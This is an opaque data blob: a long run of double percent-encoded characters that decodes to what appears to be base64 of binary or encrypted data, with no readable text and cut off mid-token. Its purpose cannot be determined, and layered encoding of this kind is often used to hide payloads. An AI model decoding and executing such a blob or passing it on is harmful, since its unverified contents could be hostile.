%35%33%25%34%37%25%35%35%25%33%36%25%34%31%25%37%61%25%34%36%25%35%38%25%35%33%25%33%38%25%37%61%25%35%36%25%34%37%25%33%36%25%35%33%25%35%30%25%36%63%25%35%38%25%36%63%25%35%36%25%37%32%25%37%35%25%35%36%25%33%36%25%33%31%25%32%66%25%34%63%25%36%33%25%37%31%25%37%35%25%35%34%25%36%61%25%37%30%25%33%32%25%35%39%25%33%32%25%33%35%25%37%39%25%36%64%25%32%62%25%32%62%25%36%38%25%36%65%25%36%34%25%36%62%25%34%37%25%37%36%25%36%35%25%37%38%25%36%64%25%36%33%25%35%32%25%36%35%25%33%37%25%37%37%25%37%39%25%34%61%25%34%32%25%36%61%25%36%36%25%37%31%25%32%62%25%34%66%25%35%33%25%37%34%25%37%39%25%36%65%25%36%61%25%36%66%25%37%30%25%37%36%25%37%36%25%37%36%25%34%36%25%36%63%25%35%34%25%36%65%25%36%62%25%37%30%25%34%38%25%33%30%25%36%35%25%35%30%25%35%35%25%36%35%25%34%64%25%35%61%25%36%36%25%35%32%25%37%34%25%32%62%25%35%34%25%34%64%25%33%35%25%34%61%25%36%64%25%34%32%25%34%36%25%37%35%25%34%34%25%34%65%25%35%35%25%33%39%25%33%37%25%32%62%25%33%32%25%36%39%25%35%32%25%35%38%25%37%30%25%33%35%25%37%34%25%35%33%25%36%36%25%37%32%25%33%34%25%37%34%25%36%65%25%33%39%25%34%65%25%35%36%25%37%38%25%34%31%25%37%36%25%32%66%25%32%66%25%34%66%25%37%37%25%36%34%25%33%34%25%36%33%25%33%32%25%35%30%25%33%32%25%37%37%25%34%32%25%35%30%25%33%33%25%35%36%25%34%62%25%34%32%25%36%38%25%37%31%25%35%36%25%36%66%25%34%39%25%33%36%25%34%65%25%36%39%25%36%33%25%36%32%25%35%39%25%36%39%25%36%66%25%37%37%25%36%33%25%36%65%25%36%64%25%34%62%25%35%31%25%37%39%25%36%32%25%37%61%25%34%32%25%34%33%25%35%61%25%34%66%25%34%66%25%32%66%25%34%61%25%36%31%25%36%66%25%34%63%25%37%31%25%33%30%25%34%62%25%33%35%25%35%36%25%35%61%25%35%39%25%36%33%25%37%61%25%34%64%25%36%39%25%34%37%25%36%31%25%36%66%25%34%34%25%36%39%25%34%35%25%37%31%25%36%31%25%34%39%25%35%31%25%36%37%25%34%65%25%34%35%25%34%63%25%33%30%25%35%36%25%36%61%25%37%38%25%36%63%25%34%63%25%33%32%25%34%61%25%35%37%25%34%38%25%33%36%25%32%62%25%33%32%25%36%61%25%33%39%25%36%34%25%34%31%25%34%64%25%36%34%25%34%62%25%37%36%25%34%65%25%35%33%25%37%33%25%37%61%25%35%30%25%35%37%25%35%35%25%37%30%25%34%65%25%37%38%25%35%32%25%36%32%25%34%65%25%33%39%25%36%66%25%33%33%25%36%63%25%35%39%25%35%34%25%34%63%25%37%36%25%36%34%25%37%39%25%36%32%25%35%32%25%35%32%25%36%39%25%36%36%25%37%35%25%35%35%25%36%62%25%33%39%25%36%36%25%33%38%25%36%63%25%33%32%25%36%65%25%34%39%25%34%36%25%37%39%25%37%35%25%37%35%25%34%64%25%37%32%25%36%66%25%34%65%25%33%30%25%35%39%25%35%39%25%34%34%25%36%63%25%33%34%25%33%33%25%34%65%25%34%35%25%35%30%25%33%39%25%37%36%25%37%31%25%35%33%25%34%66%25%33%36%25%37%35%25%33%31%25%34%63%25%37%30%25%35%32%25%34%62%25%36%66%25%35%36%25%37%30%25%37%36%25%35%36%25%36%63%25%36%35%25%34%32%25%37%31%25%35%61%25%36%31%25%36%37%25%35%36%25%37%38%25%34%64%25%37%34%25%36%31%25%37%34%25%34%38%25%36%34%25%35%38%25%36%36%25%34%35%25%33%36%25%35%35%25%35%31%25%34%32%25%34%65%25%36%66%25%35%36%25%37%31%25%35%33%25%37%61%25%33%32%25%37%34%25%34%61%25%37%61%25%36%31%25%37%30%25%36%38%25%33%38%25%36%36%25%36%64%25%34%38%25%34%35%25%35%30%25%35%32%25%33%36%25%33%32%25%36%33%25%34%33%25%33%38%25%33%39%25%35%32%25%34%39%25%37%37%25%34%66%25%34%33%25%36%33%25%36%39%25%34%61%25%36%31%25%37%39%25%36%38%25%37%31%25%33%30%25%37%61%25%34%33%25%35%33%25%36%37%25%32%66%25%37%30%25%33%35%25%36%39%25%36%37%25%36%33%25%34%62%25%33%35%25%36%61%25%34%37%25%33%33%25%35%38%25%36%36%25%34%61%25%33%39%25%37%36%25%35%38%25%33%30%25%35%32%25%36%31%25%35%31%25%37%34%25%35%30%25%35%34%25%34%38%25%37%39%25%34%65%25%36%65%25%34%34%25%34%36%25%33%32%25%37%30%25%37%39%25%37%38%25%37%33%25%33%37%25%36%62%25%33%37%25%32%66%25%36%61%25%37%61%25%37%34%25%34%32%25%35%30%25%36%65%25%37%34%25%33%33%25%32%66%25%35%33%25%37%35%25%36%62%25%34%63%25%33%32%25%33%32%25%36%34%25%35%61%25%34%38%25%36%32%25%37%61%25%36%36%25%33%36%25%34%62%25%34%61%25%37%61%25%33%33%25%34%64%25%35%35%25%37%38%25%34%64%25%37%35%25%36%64%25%37%37%25%36%34%25%33%36%25%32%62%25%34%34%25%34%32%25%32%62%25%36%61%25%35%36%25%33%31%25%34%33%25%34%33%25%37%61%25%37%36%25%36%33%25%37%38%25%37%31%25%37%35%25%35%35%25%37%36%25%36%31%25%33%31%25%37%39%25%34%37%25%35%33%25%35%32%25%35%30%25%36%62%25%33%36%25%34%35%25%35%30%25%35%30%25%36%37%25%34%33%25%34%32%25%33%32%25%36%63%25%33%32%25%37%34%25%37%33%25%33%31%25%36%39%25%33%38%25%36%63%25%36%65%25%36%62%25%36%32%25%35%37%25%36%66%25%32%66%25%36%34%25%36%36%25%33%30%25%34%65%25%32%66%25%35%39%25%36%61%25%33%38%25%36%62%25%35%33%25%35%61%25%36%35%25%36%37%25%36%61%25%37%61%25%33%34%25%35%31%25%33%34%25%33%34%25%36%39%25%34%61%25%34%31%25%35%35%25%37%38%25%33%34%25%36%38%25%34%38%25%36%66%25%35%33%25%34%61%25%34%38%25%36%63%25%35%37%25%35%30%25%37%36%25%36%34%25%36%61%25%34%61%25%35%39%25%35%61%25%37%36%25%34%34%25%36%61%25%36%34%25%37%38%25%33%39%25%33%35%25%36%36%25%37%35%25%35%33%25%34%37%25%34%64%25%35%39%25%36%63%25%36%62%25%36%61%25%34%33%25%33%32%25%33%35%25%33%32%25%35%30%25%33%33%25%37%31%25%36%66%25%36%62%25%34%35%25%37%61%25%33%34%25%32%62%25%35%30%25%33%30%25%34%65%25%35%32%25%34%36%25%36%61%25%37%30%25%36%31%25%34%37%25%36%33%25%33%34%25%34%62%25%34%32%25%33%38%25%36%37%25%34%36%25%34%32%25%33%39%25%33%35%25%37%61%25%36%61%25%36%63%25%34%33%25%33%38%25%36%32%25%34%65%25%37%34%25%34%61%25%36%34%25%34%34%25%34%33%25%37%61%25%33%38%25%33%30%25%36%33%25%35%32%25%36%34%25%36%39%25%33%39%25%33%39%25%35%38%25%37%31%25%36%33%25%33%37%25%36%38%25%34%39%25%33%30%25%36%36%25%34%34%25%36%61%25%36%65%25%37%39%25%36%38%25%36%63%25%36%35%25%37%36%25%37%33%25%36%36%25%37%38%25%37%36%25%32%62%25%34%63%25%37%32%25%34%66%25%35%35%25%36%32%25%35%34%25%36%34%25%37%33%25%37%32%25%37%38%25%35%35%25%37%38%25%34%64%25%34%38%25%36%36%25%37%34%25%37%31%25%33%33%25%34%34%25%34%37%25%33%36%25%33%32%25%37%61%25%34%64%25%36%65%25%35%33%25%34%38%25%35%35%25%34%61%25%35%61%25%36%31%25%36%66%25%34%36%25%34%33%25%35%37%25%34%61%25%33%34%25%36%61%25%33%32%25%36%32%25%35%38%25%36%61%25%35%33%25%36%63%25%32%66%25%34%34%25%32%66%25%35%30%25%35%37%25%32%66%25%36%62%25%35%30%25%33%30%25%36%61%25%35%32%25%36%33%25%37%35%25%35%61%25%37%30%25%35%33%25%33%36%25%33%35%25%35%35%25%37%31%25%35%33%25%34%35%25%36%65%25%37%39%25%36%65%25%36%65%25%37%61%25%34%61%25%37%39%25%37%39%25%36%37%25%33%36%25%35%32%25%35%30%25%34%34%25%37%30%25%35%37%25%34%36%25%33%36%25%34%35%25%35%33%25%35%31%25%34%65%25%34%66%25%37%38%25%36%66%25%37%31%25%35%31%25%37%38%25%33%38%25%36%63%25%33%35%25%34%31%25%32%62%25%33%31%25%37%34%25%35%33%25%35%37%25%33%32%25%36%65%25%34%63%25%34%62%25%36%35%25%35%35%25%34%63%25%35%61%25%33%32%25%36%32%25%34%39%25%33%33%25%34%32%25%36%33%25%35%30%25%36%39%25%33%33%25%36%66%25%36%36%25%33%31%25%34%39%25%35%61%25%35%36%25%32%62%25%36%35%25%37%31%25%36%39%25%34%38%25%33%33%25%32%66%25%32%66%25%34%65%25%36%35%25%34%61%25%35%38%25%37%38%25%35%37%25%35%35%25%33%37%25%34%32%25%32%66%25%34%62%25%35%35%25%36%65%25%33%34%25%35%36%25%36%35%25%33%36%25%34%63%25%34%64%25%34%39%25%33%31%25%35%32%25%35%32%25%37%31%25%35%34%25%34%61%25%35%36%25%37%37%25%34%32%25%33%34%25%35%39%25%34%65%25%36%36%25%37%30%25%33%31%25%34%33%25%34%38%25%33%33%25%34%66%25%34%39%25%35%31%25%36%31%25%36%64%25%37%61%25%32%66%25%36%31%25%35%30%25%37%30%25%36%62%25%37%35%25%34%37%25%34%33%25%37%38%25%33%38%25%34%37%25%35%35%25%37%36%25%33%35%25%37%33%25%35%32%25%35%35%25%33%35%25%35%37%25%35%32%25%36%66%25%33%32%25%37%31%25%34%62%25%33%39%25%35%36%25%36%34%25%34%38%25%37%32%25%34%39%25%33%32%25%35%39%25%33%31%25%36%36%25%36%65%25%33%35%25%37%35%25%36%61%25%36%64%25%36%33%25%33%39%25%36%39%25%34%31%25%33%35%25%36%31%25%35%36%25%36%63%25%36%65%25%33%34%25%34%61%25%37%30%25%37%36%25%35%30%25%37%36%25%35%35%25%33%35%25%33%33%25%36%34%25%36%36%25%37%32%25%33%38%25%36%33%25%36%35%25%35%36%25%35%32%25%34%64%25%34%61%25%34%38%25%36%38%25%33%38%25%32%66%25%37%32%25%36%63%25%35%34%25%35%36%25%33%36%25%32%66%25%34%61%25%35%36%25%37%38%25%34%63%25%33%37%25%36%62%25%36%65%25%37%34%25%36%62%25%37%32%25%33%38%25%36%61%25%37%39%25%34%65%25%34%35%25%37%30%25%33%36%25%35%30%25%33%31%25%37%31%25%36%65%25%35%38%25%34%66%25%35%39%25%33%32%25%34%34%25%36%35%25%35%30%25%37%32%25%33%38%25%36%33%25%33%35%25%33%32%25%36%32%25%33%30%25%33%30%25%33%34%25%36%35%25%35%30%25%36%64%25%36%63%25%33%35%25%36%31%25%36%35%25%36%62%25%33%37%25%33%33%25%34%37%25%36%35%25%35%61%25%36%38%25%36%33%25%33%33%25%32%62%25%36%66%25%33%30%25%37%39%25%33%37%25%33%33%25%35%39%25%36%63%25%36%36%25%35%36%25%37%39%25%36%62%25%34%64%25%36%36%25%36%35%25%34%66%25%37%36%25%36%39%25%36%35%25%35%39%25%34%36%25%34%36%25%37%39%25%36%31%25%34%63%25%36%34%25%34%65%25%35%31%25%34%39%25%36%61%25%36%64%25%35%34%25%34%64%25%37%35%25%36%61%25%36%39%25%34%64%25%35%39%25%32%66%25%35%34%25%36%63%25%34%62%25%36%65%25%35%35%25%37%31%25%35%34%25%34%62%25%34%36%25%34%63%25%34%38%25%34%32%25%35%35%25%36%39%25%35%61%25%34%62%25%36%63%25%34%62%25%36%33%25%36%66%25%33%38%25%34%66%25%35%37%25%35%33%25%37%36%25%36%36%25%36%36%25%32%62%25%34%34%25%36%37%25%37%61%25%36%38%25%36%34%25%34%65%25%33%36%25%36%65%25%36%33%25%36%34%25%33%33%25%37%32%25%34%61%25%33%35%25%37%39%25%34%37%25%37%30%25%37%36%25%35%37%25%35%39%25%36%36%25%33%36%25%35%38%25%36%36%25%33%32%25%35%37%25%34%36%25%37%37%25%36%36%25%35%34%25%37%30%25%33%33%25%35%61%25%37%35%25%33%35%25%36%39%25%35%31%25%35%36%25%33%37%25%36%36%25%37%32%25%37%32%25%34%64%25%34%63%25%34%39%25%34%37%25%35%37%25%37%38%25%36%34%25%35%36%25%33%39%25%35%30%25%37%34%25%36%39%25%37%38%25%37%38%25%37%39%25%37%61%25%34%61%25%36%34%25%36%31%25%37%37%25%37%35%25%36%64%25%36%66%25%33%31%25%34%64%25%36%39%25%36%63%25%37%38%25%34%35%25%37%33%25%37%36%25%37%37%25%33%32%25%32%62%25%37%37%25%37%36%25%35%32%25%36%36%25%33%38%25%36%31%25%35%36%25%34%64%25%35%31%25%32%62%25%33%30%25%32%66%25%37%32%25%34%66%25%37%61%25%35%32%25%36%64%25%33%37%25%35%33%25%37%30%25%35%30%25%34%38%25%34%64%25%34%32%25%35%37%25%36%35%25%36%39%25%35%37%25%35%32%25%34%61%25%35%32%25%34%63%25%37%35%25%36%63%25%36%65%25%35%32%25%35%37%25%35%31%25%34%35%25%35%30%25%36%61%25%33%35%25%36%63%25%36%64%25%35%37%25%35%37%25%35%33%25%36%62%25%35%38%25%37%33%25%36%62%25%32%66%25%37%31%25%35%32%25%36%39%25%36%39%25%36%66%25%34%65%25%34%37%25%35%35%25%34%37%25%34%63%25%34%61%25%35%30%25%34%35%25%37%39%25%35%61%25%35%30%25%35%34%25%34%31%25%36%62%25%34%33%25%34%36%25%37%32%25%33%34%25%32%62%25%35%38%25%34%39%25%35%36%25%37%33%25%33%35%25%35%35%25%35%30%25%32%66%25%35%33%25%33%33%25%34%39%25%34%34%25%35%32%25%33%38%25%37%38%25%37%31%25%37%61%25%33%33%25%37%31%25%35%39%25%37%37%25%36%62%25%35%34%25%35%35%25%36%63%25%33%32%25%37%31%25%36%64%25%33%39%25%34%38%25%35%31%25%37%38%25%37%31%25%37%36%25%34%36%25%36%31%25%37%31%25%35%61%25%37%38%25%33%33%25%36%65%25%34%34%25%33%39%25%37%30%25%33%37%25%33%33%25%36%66%25%37%30%25%33%35%25%36%39%25%33%30%25%37%30%25%34%39%25%37%30%25%35%30%25%37%61%25%36%64%25%35%39%25%32%62%25%33%32%25%36%63%25%33%38%25%35%37%25%34%66%25%34%65%25%36%36%25%34%37%25%37%32%25%35%37%25%36%36%25%36%64%25%36%64%25%35%33%25%33%37%25%37%31%25%36%38%25%33%36%25%37%34%25%33%39%25%37%35%25%34%66%25%34%37%25%34%38%25%37%61%25%36%33%25%36%63%25%37%37%25%34%63%25%36%65%25%32%66%25%37%38%25%36%34%25%34%34%25%35%31%25%36%39%25%32%66%25%33%35%25%33%35%25%36%62%25%34%37%25%34%31%25%33%36%25%36%61%25%37%36%25%35%39%25%37%61%25%34%34%25%33%35%25%36%35%25%34%66%25%34%39%25%34%61%25%36%35%25%34%64%25%34%66%25%35%32%25%36%62%25%35%39%25%36%35%25%34%38%25%34%61%25%34%64%25%34%33%25%35%38%25%36%63%25%34%35%25%33%36%25%35%37%25%34%37%25%33%30%25%35%38%25%34%32%25%35%32%25%34%31%25%34%34%25%35%38%25%36%61%25%34%61%25%36%62%25%35%34%25%33%32%25%34%66%25%36%62%25%37%61%25%33%31%25%33%32%25%34%32%25%34%37%25%35%34%25%33%31%25%34%36%25%36%65%25%34%63%25%35%36%25%36%66%25%35%31%25%34%32%25%36%66%25%36%31%25%35%33%25%36%35%25%33%32%25%33%33%25%34%32%25%34%64%25%36%61%25%32%62%25%36%64%25%35%34%25%37%36%25%36%65%25%35%38%25%37%37%25%33%30%25%33%30%25%34%35%25%36%32%25%34%37%25%33%33%25%34%64%25%37%39%25%33%32%25%37%30%25%37%37%25%35%61%25%37%39%25%34%65%25%33%31%25%37%37%25%32%66%25%34%36%25%36%64%25%36%65%25%37%33%25%33%35%25%36%31%25%34%39%25%36%63%25%35%37%25%34%36%25%36%61%25%36%61%25%35%34%25%34%31%25%37%34%25%35%61%25%33%32%25%37%32%25%35%37%25%33%39%25%37%38%25%33%33%25%34%35%25%34%32%25%34%34%25%37%39%25%34%32%25%37%37%25%34%36%25%36%35%25%36%39%25%35%31%25%36%37%25%34%34%25%37%34%25%33%30%25%36%64%25%36%63%25%35%37%25%36%61%25%34%64%25%34%39%25%34%37%25%37%36%25%34%37%25%35%31%25%33%38%25%34%63%25%34%34%25%36%33%25%35%61%25%36%66%25%36%35%25%34%39%25%35%31%25%36%65%25%34%33%25%33%38%25%36%36%25%34%61%25%37%37%25%34%39%25%35%37%25%33%34%25%37%35%25%32%66%25%34%35%25%33%38%25%34%37%25%35%34%25%37%37%25%36%61%25%35%35%25%36%64%25%34%66%25%34%38%25%36%33%25%36%63%25%37%37%25%37%31%25%34%36%25%37%33%25%35%34%25%34%36%25%37%37%25%34%62%25%32%66%25%36%65%25%33%34%25%33%34%25%33%30%25%36%65%25%34%64%25%35%31%25%35%35%25%34%32%25%36%61%25%36%36%25%34%34%25%37%39%25%36%66%25%35%34%25%37%37%25%37%31%25%36%36%25%34%61%25%37%61%25%34%35%25%35%39%25%33%33%25%37%39%25%36%39%25%36%33%25%34%32%25%35%31%25%37%31%25%34%33%25%35%30%25%34%65%25%36%37%25%33%34%25%33%31%25%36%62%25%33%38%25%36%35%25%34%65%25%37%37%25%34%66%25%35%38%25%35%61%25%36%63%25%34%34%25%37%38%25%35%33%25%33%37%25%36%35%25%35%31%25%34%39%25%34%33%25%37%36%25%36%31%25%33%39%25%36%39%25%34%66%25%32%66%25%36%33%25%34%37%25%36%37%25%34%31%25%37%35%25%35%32%25%36%32%25%33%32%25%36%35%25%36%37%25%34%34%25%36%36%25%37%30%25%35%39%25%34%65%25%34%32%25%36%31%25%37%39%25%36%66%25%34%61%25%36%36%25%34%64%25%32%66%25%35%39%25%34%34%25%36%38%25%36%64%25%33%36%25%37%39%25%32%66%25%34%31%25%34%34%25%36%61%25%36%36%25%34%62%25%37%39%25%35%36%25%35%30%25%33%33%25%35%30%25%34%64%25%35%34%25%33%32%25%36%36%25%33%36%25%37%31%25%37%39%25%36%31%25%34%31%25%34%35%25%36%61%25%33%37%25%37%61%25%34%33%25%35%39%25%34%38%25%34%34%25%35%61%25%33%33%25%33%30%25%36%39%25%34%32%25%34%34%25%37%33%25%37%34%25%35%34%25%37%33%25%36%61%25%37%37%25%32%62%25%36%31%25%35%39%25%35%33%25%34%38%25%33%30%25%35%35%25%36%35%25%37%34%25%36%65%25%37%36%25%36%63%25%34%31%25%34%33%25%36%35%25%35%61%25%35%37%25%34%34%25%33%39%25%35%30%25%37%35%25%35%30%25%33%35%25%33%34%25%35%61%25%33%37%25%36%31%25%37%36%25%32%66%25%34%39%25%35%61%25%33%32%25%34%61%25%34%34%25%36%34%25%34%39%25%36%37%25%36%66%25%34%66%25%37%34%25%35%38%25%33%34%25%37%31%25%37%32%25%33%37%25%35%31%25%34%36%25%35%33%25%34%62%25%36%31%25%34%33%25%35%33%25%33%39%25%35%39%25%34%34%25%33%33%25%32%62%25%37%31%25%36%63%25%35%37%25%34%32%25%33%39%25%33%31%25%35%31%25%36%35%25%33%36%25%33%39%25%37%38%25%34%32%25%34%38%25%33%37%25%34%64%25%34%66%25%37%33%25%33%34%25%34%62%25%32%62%25%37%32%25%33%38%25%36%36%25%34%31%25%36%34%25%36%34%25%37%33%25%35%39%25%37%35%25%37%37%25%36%39%25%35%61%25%33%33%25%34%35%25%33%34%25%36%39%25%36%34%25%33%36%25%34%35%25%33%38%25%37%61%25%35%61%25%37%33%25%34%32%25%37%37%25%34%36%25%34%35%25%33%39%25%35%61%25%37%38%25%36%35%25%34%37%25%36%32%25%34%32%25%36%66%25%34%34%25%36%36%25%33%35%25%37%34%25%36%62%25%34%62%25%34%62%25%33%36%25%36%36%25%35%38%25%35%61%25%33%38%25%32%62%25%36%32%25%37%38%25%34%61%25%34%65%25%37%30%25%36%38%25%36%65%25%36%37%25%35%37%25%37%30%25%36%36%25%36%36%25%37%31%25%36%35%25%36%63%25%33%35%25%36%64%25%36%65%25%35%61%25%36%32%25%35%36%25%37%31%25%34%65%25%37%34%25%35%30%25%37%33%25%33%38%25%34%33%25%34%33%25%33%38%25%36%61%25%34%36%25%35%35%25%37%33%25%33%33%25%33%34%25%35%34%25%37%31%25%35%32%25%37%38%25%34%34%25%37%30%25%35%61%25%34%35%25%33%37%25%33%31%25%37%38%25%35%33%25%34%63%25%36%33%25%36%61%25%35%32%25%37%32%25%34%33%25%33%30%25%34%38%25%36%65%25%37%34%25%37%34%25%36%35%25%37%30%25%37%32%25%35%38%25%36%31%25%37%36%25%37%36%25%35%31%25%34%63%25%36%36%25%36%35%25%34%31%25%36%31%25%36%64%25%37%39%25%34%31%25%34%39%25%37%37%25%37%31%25%33%39%25%33%32%25%33%35%25%36%65%25%36%37%25%33%34%25%37%35%25%35%30%25%33%35%25%34%39%25%32%66%25%35%34%25%33%30%25%33%36%25%35%38%25%37%35%25%35%31%25%35%32%25%36%33%25%34%63%25%37%33%25%36%32%25%36%63%25%37%30%25%35%61%25%33%37%25%34%63%25%37%31%25%36%62%25%35%36%25%35%38%25%34%62%25%36%64%25%37%39%25%35%31%25%37%31%25%34%33%25%33%34%25%33%31%25%36%63%25%35%61%25%34%37%25%35%34%25%36%64%25%34%39%25%37%34%25%33%32%25%35%35%25%34%33%25%37%31%25%34%38%25%34%36%25%37%39%25%35%34%25%34%31%25%37%39%25%36%62%25%35%35%25%35%36%25%35%32%25%37%33%25%35%35%25%35%39%25%34%63%25%33%33%25%34%63%25%34%33%25%34%62%25%33%37%25%33%36%25%34%66%25%33%30%25%33%31%25%35%38%25%34%61%25%33%30%25%36%34%25%34%39%25%34%36%25%35%61%25%33%34%25%33%30%25%34%32%25%34%36%25%34%31%25%34%62%25%34%39%25%37%61%25%33%32%25%36%63%25%37%33%25%32%62%25%35%39%25%36%66%25%33%30%25%36%36%25%37%32%25%35%38%25%37%32%25%35%33%25%33%37%25%35%33%25%36%31%25%35%37%25%35%61%25%37%35%25%37%61%25%34%33%25%36%38%25%36%65%25%34%31%25%34%66%25%32%62%25%35%34%25%37%35%25%32%62%25%36%33%25%33%33%25%34%32%25%32%62%25%35%36%25%36%35%25%35%31%25%37%31%25%35%61%25%34%64%25%35%36%25%37%37%25%32%66%25%34%33%25%36%39%25%35%35%25%36%33%25%33%35%25%37%61%25%37%39%25%36%62%25%37%36%25%34%33%25%34%34%25%35%39%25%36%66%25%36%65%25%33%34%25%36%65%25%35%61%25%33%38%25%34%32%25%36%64%25%36%33%25%33%38%25%36%64%25%36%61%25%37%34%25%35%34%25%34%32%25%35%31%25%36%32%25%35%37%25%35%32%25%36%62%25%37%36%25%35%38%25%35%34%25%37%35%25%34%34%25%33%34%25%33%38%25%35%36%25%35%34%25%36%64%25%34%36%25%37%35%25%34%37%25%35%39%25%36%37%25%37%34%25%34%62%25%34%63%25%34%34%25%36%64%25%33%37%25%33%37%25%37%32%25%33%35%25%36%66%25%34%63%25%33%33%25%37%33%25%37%31%25%35%36%25%37%35%25%36%61%25%36%63%25%36%61%25%37%35%25%36%63%25%36%64%25%37%32%25%32%66%25%36%31%25%37%61%25%34%35%25%34%32%25%36%33%25%37%36%25%35%61%25%36%65%25%34%39%25%35%32%25%35%61%25%36%38%25%36%31%25%35%61%25%34%64%25%35%37%25%35%36%25%35%33%25%34%37%25%36%31%25%37%38%25%34%39%25%33%36%25%37%31%25%35%31%25%36%66%25%36%38%25%33%38%25%37%34%25%37%37%25%36%32%25%35%37%25%33%33%25%36%36%25%34%62%25%37%39%25%35%30%25%36%39%25%33%36%25%32%66%25%35%36%25%36%38%25%35%34%25%35%34%25%33%39%25%34%65%25%37%34%25%36%35%25%36%31%25%34%64%25%34%61%25%35%30%25%34%37%25%34%36%25%34%62%25%37%61%25%35%32%25%36%31%25%37%37%25%37%31%25%33%34%25%34%36%25%36%63%25%34%32%25%33%33%25%34%64%25%34%63%25%35%33%25%32%62%25%36%38%25%33%32%25%33%30%25%35%33%25%35%39%25%37%35%25%33%34%25%33%35%25%34%63%25%36%61%25%36%64%25%37%32%25%32%62%25%35%34%25%35%31%25%35%37%25%36%61%25%33%35%25%35%33%25%36%32%25%37%32%25%37%38%25%36%62%25%33%34%25%36%32%25%36%64%25%37%30%25%35%33%25%34%36%25%36%33%25%37%34%25%36%38%25%35%33%25%32%66%25%36%66%25%36%37%25%33%30%25%37%37%25%33%36%25%37%38%25%37%61%25%34%31%25%35%31%25%34%66%25%36%33%25%36%38%25%37%36%25%37%39%25%35%37%25%35%61%25%36%65%25%37%36%25%34%36%25%33%34%25%36%36%25%33%36%25%35%34%25%34%32%25%34%32%25%33%36%25%37%61%25%33%35%25%37%61%25%37%32%25%36%39%25%36%36%25%37%61%25%33%33%25%36%66%25%34%64%25%36%31%25%35%37%25%36%34%25%34%37%25%36%32%25%36%65%25%36%31%25%37%37%25%36%33%25%35%31%25%35%61%25%37%36%25%36%38%25%37%38%25%32%62%25%37%32%25%33%35%25%36%31%25%34%34%25%36%32%25%34%32%25%36%64%25%35%36%25%33%31%25%36%39%25%33%34%25%35%37%25%37%38%25%35%39%25%33%39%25%34%37%25%33%39%25%37%37%25%35%38%25%35%38%25%35%35%25%37%30%25%34%62%25%36%62%25%37%31%25%35%36%25%32%62%25%35%34%25%33%35%25%33%36%25%37%61%25%34%61%25%33%30%25%36%39%25%35%61%25%33%39%25%36%36%25%34%62%25%34%63%25%37%34%25%37%33%25%37%30%25%33%36%25%34%35%25%33%39%25%35%35%25%35%31%25%33%33%25%35%36%25%35%37%25%34%32%25%33%31%25%36%63%25%37%39%25%36%62%25%34%66%25%32%66%25%33%34%25%35%35%25%36%33%25%32%66%25%35%34%25%35%38%25%34%37%25%33%32%25%37%36%25%36%31%25%33%30%25%35%61%25%34%63%25%36%65%25%34%66%25%36%65%25%33%32%25%33%32%25%35%30%25%35%37%25%36%62%25%36%34%25%33%34%25%37%30%25%37%37%25%36%31%25%35%38%25%37%61%25%35%39%25%37%35%25%36%62%25%36%36%25%36%39%25%36%32%25%33%30%25%33%34%25%34%63%25%36%37%25%36%62%25%33%33%25%36%37%25%34%33%25%34%35%25%37%37%25%36%65%25%35%37%25%33%34%25%36%32%25%36%36%25%36%33%25%37%30%25%37%37%25%37%34%25%35%32%25%34%66%25%35%33%25%36%36%25%33%37%25%36%61%25%35%38%25%37%30%25%37%32%25%34%64%25%35%33%25%34%31%25%34%61%25%36%34%25%34%39%25%34%64%25%35%61%25%36%31%25%34%64%25%36%31%25%35%36%25%34%33%25%35%36%25%37%39%25%35%31%25%34%64%25%34%39%25%37%61%25%34%63%25%35%37%25%37%37%25%35%37%25%34%63%25%36%38%25%34%35%25%34%63%25%34%63%25%35%36%25%34%34%25%34%34%25%37%37%25%37%30%25%34%63%25%34%61%25%35%34%25%36%64%25%34%33%25%36%63%25%36%65%25%36%33%25%35%36%25%37%31%25%35%34%25%35%37%25%33%39%25%34%66%25%33%31%25%33%30%25%37%38%25%35%31%25%33%39%25%35%36%25%37%38%25%34%35%25%36%37%25%37%35%25%34%63%25%34%34%25%36%65%25%34%39%25%36%62%25%34%38%25%35%61%25%35%38%25%34%35%25%36%61%25%35%37%25%37%35%25%36%31%25%33%37%25%36%38%25%36%64%25%37%39%25%33%31%25%33%37%25%37%30%25%36%39%25%37%61%25%34%64%25%36%63%25%36%37%25%36%35%25%33%39%25%36%65%25%33%32%25%36%31%25%33%32%25%36%31%25%37%33%25%33%32%25%36%38%25%34%32%25%33%36%25%33%38%25%35%38%25%35%37%25%37%34%25%34%39%25%36%63%25%35%35%25%37%36%25%35%33%25%37%39%25%34%37%25%33%31%25%35%39%25%34%65%25%34%39%25%37%36%25%33%38%25%37%61%25%32%62%25%35%31%25%33%38%25%34%31%25%36%36%25%34%37%25%34%66%25%37%34%25%34%66%25%33%35%25%33%39%25%33%32%25%36%63%25%33%37%25%36%33%25%35%37%25%34%39%25%37%31%25%37%34%25%34%62%25%37%33%25%35%33%25%36%33%25%37%31%25%34%33%25%34%35%25%35%34%25%36%66%25%34%35%25%37%34%25%34%33%25%37%37%25%35%36%25%33%36%25%33%39%25%36%62%25%35%33%25%35%38%25%35%36%25%34%35%25%35%33%25%35%61%25%36%32%25%37%31%25%32%62%25%36%64%25%37%33%25%36%34%25%35%38%25%34%35%25%34%65%25%34%65%25%33%32%25%37%32%25%36%31%25%35%38%25%34%32%25%34%39%25%33%30%25%36%34%25%34%32%25%34%36%25%36%35%25%37%34%25%35%39%25%34%65%25%35%61%25%36%37%25%35%38%25%34%33%25%35%38%25%36%34%25%36%65%25%35%31%25%33%32%25%34%65%25%37%37%25%33%35%25%35%61%25%33%32%25%36%37%25%36%61%25%34%35%25%36%66%25%32%62%25%34%35%25%36%64%25%33%30%25%34%34%25%34%63%25%34%66%25%35%37%25%36%65%25%35%32%25%37%35%25%33%37%25%37%38%25%36%61%25%34%61%25%33%30%25%37%31%25%33%39%25%34%65%25%37%36%25%34%35%25%33%35%25%36%31%25%35%61%25%36%31%25%36%33%25%36%39%25%35%35%25%36%63%25%36%32%25%37%37%25%36%65%25%34%31%25%34%66%25%34%33%25%36%31%25%34%61%25%36%62%25%36%66%25%34%32%25%34%62%25%37%31%25%34%61%25%37%33%25%33%32%25%33%31%25%35%39%25%33%38%25%36%32%25%36%37%25%34%65%25%34%33%25%33%37%25%34%34%25%36%66%25%36%63%25%33%34%25%37%33%25%35%32%25%37%33%25%35%37%25%35%38%25%36%31%25%34%66%25%35%35%25%35%38%25%34%35%25%36%63%25%34%65%25%36%34%25%34%63%25%36%66%25%33%34%25%35%34%25%33%35%25%33%39%25%34%33%25%35%61%25%35%37%25%37%32%25%35%32%25%35%33%25%37%37%25%36%35%25%37%31%25%35%38%25%34%65%25%36%39%25%33%36%25%34%63%25